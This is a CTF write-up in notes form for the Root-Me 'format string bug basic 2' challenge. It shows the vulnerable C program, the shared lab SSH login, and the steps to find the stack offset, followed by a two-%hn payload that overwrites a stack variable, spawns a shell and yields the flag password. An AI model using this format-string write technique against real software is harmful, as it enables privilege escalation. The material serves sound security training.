Files
ctf-notes/app-system/elf-x86-format-string-bug-basic-2/notes.org
Tuan-Dat Tran 5cd3b5a531 feat: app system challenges
Signed-off-by: Tuan-Dat Tran <tuan-dat.tran@dextradata.com>
2026-03-23 09:19:03 +01:00

6.4 KiB

ELF x86 - Format string bug basic 2

Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt

Aufgabe Einstellungen der Umgebung PIE Position Independent Executable pas_valide.svg?1566650180 RelRO Read Only relocations pas_valide.svg?1566650180 NX Non-Executable Stack valide.svg?1566650190 Heap exec Non-Executable Heap valide.svg?1566650190 ASLR Address Space Layout Randomization pas_valide.svg?1566650180 SF Source Fortification pas_valide.svg?1566650180 SSP Stack-Smashing Protection valide.svg?1566650190 SRC Zugriff auf den Source code valide.svg?1566650190 Quellcode

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>

    int main( int argc, char ** argv )
    {
            int var;
            int check  = 0x04030201;

            char fmt[128];

            if (argc <2)
                    exit(0);

            memset( fmt, 0, sizeof(fmt) );

            printf( "check at 0x%x\n", &check );
            printf( "argv[1] = [%s]\n", argv[1] );

            snprintf( fmt, sizeof(fmt), argv[1] );

            if ((check != 0x04030201) && (check != 0xdeadbeef))
                    printf ("\nYou are on the right way !\n");

            printf( "fmt=[%s]\n", fmt );
            printf( "check=0x%x\n", check );

            if (check==0xdeadbeef)
            {
                    printf("Yeah dude ! You win !\n");
                    setreuid(geteuid(), geteuid());
                    system("/bin/bash");
            }
    }

Zugangsdaten für die Übung

Host challenge02.root-me.org Protokoll SSH Port 2222 Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org Benutzername app-systeme-ch14 Passwort app-systeme-ch14

Investigation Log

Downloaded challenge files

Used Paramiko to fetch remote files into artifacts/: ch14, ch14.c, Makefile.

Makefile confirms build flags:

  • -m32 -no-pie
  • -z noexecstack

This matches challenge metadata: no PIE, NX enabled, no ASLR on target.

Vulnerability

The bug is here:

snprintf(fmt, sizeof(fmt), argv[1]);

argv[1] is used directly as a format string. With format directives like %n, we can write to memory.

Target variable:

int check = 0x04030201;
...
if (check == 0xdeadbeef) {
    system("/bin/bash");
}

Stack argument offset discovery

Bruteforce payload: AAAA.%<i>$x.

Result: at offset 9 we get 41414141.

So first 4 bytes of our payload are interpreted as argument 9.

Write strategy

Need to write 0xdeadbeef into check.

Used two half-word writes with %hn:

  • lower half (addr): 0xbeef (48879)
  • upper half (addr+2): 0xdead (57005)

Payload layout:

  • 4 bytes: p32(check_addr)
  • 4 bytes: p32(check_addr+2)
  • format tail: %11$48871x%9$hn%12$8126x%10$hn

Why those paddings:

  • first 8 bytes already count as printed characters
  • 48871 + 8 = 48879 (0xbeef) -> first %hn
  • 8126 more chars -> 57005 (0xdead) -> second %hn

Address behavior and PTY note

check stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions.

For reliable exploit:

  • probe check address with same payload length and PTY mode
  • immediately run exploit in PTY mode

Observed stable PTY probe address: 0xbffffb88.

Successful exploitation

Exploit output:

  • check=0xdeadbeef
  • Yeah dude ! You win !
  • effective uid switched to app-systeme-ch14-cracked

Recovered password:

1l1k3p0Rn&P0pC0rn

Helper Scripts

  • scripts/find_offset.py: brute-force the format-string stack offset.
  • scripts/exploit.py: probes check address and performs 2x %hn write to spawn shell and read .passwd.

Note: exploit implementation without struct.pack

The exploit script no longer uses struct.pack("<I", ...).

Instead, it uses a manual little-endian encoder:

def p32_le(value: int) -> bytes:
    value &= 0xFFFFFFFF
    return bytes((
        value & 0xFF,
        (value >> 8) & 0xFF,
        (value >> 16) & 0xFF,
        (value >> 24) & 0xFF,
    ))

This produces the same 4-byte layout as struct.pack("<I", value) on x86.

Example:

  • 0xbffffb88 -> bytes 88 fb ff bf
  • 0xbffffb8a -> bytes 8a fb ff bf

So the payload semantics are unchanged: argument 9 points to check, argument 10 points to check+2, and the two %hn writes still set check to 0xdeadbeef.

Solution Explanation

  1. Identify the bug

The program calls:

snprintf(fmt, sizeof(fmt), argv[1]);

User input is interpreted as a format string. This allows format-string primitives like stack reads (%x) and memory writes (%n / %hn).

  1. Define the win condition

The shell is spawned only if:

if (check == 0xdeadbeef) {
    setreuid(geteuid(), geteuid());
    system("/bin/bash");
}

So exploitation goal is to overwrite local stack variable check from 0x04030201 to 0xdeadbeef.

  1. Find where our bytes land in variadic arguments

Using marker payloads like AAAA.%<i>$x, we detect when 41414141 appears.

Observed offset: 9.

Meaning:

  • bytes 0..3 of payload are read as argument 9
  • bytes 4..7 of payload are read as argument 10
  1. Choose a safe write primitive

Writing full 32-bit with one %n is possible but impractical due to huge padding.

Use two half-word writes with %hn:

  • write lower 16 bits (0xbeef) to check
  • write upper 16 bits (0xdead) to check+2
  1. Build the payload

Payload bytes:

  • first 4 bytes: little-endian address of check
  • next 4 bytes: little-endian address of check+2
  • then format tail: %11$48871x%9$hn%12$8126x%10$hn

Padding math:

  • 8 raw address bytes are already counted as printed chars
  • need first total count 48879 (0xbeef): print 48871 extra chars
  • after first %hn, need second total count 57005 (0xdead): print 8126 extra chars
  1. Handle runtime detail (PTY stability)

The stack address printed for check is stable only for the same invocation style.

PTY vs non-PTY shifts addresses. Reliable method:

  • probe address in PTY mode with same payload length
  • exploit immediately in PTY mode with same layout
  1. Confirm success

Successful run shows:

  • check=0xdeadbeef
  • Yeah dude ! You win !
  • effective identity app-systeme-ch14-cracked
  • readable flag/password file .passwd

Recovered password:

1l1k3p0Rn&P0pC0rn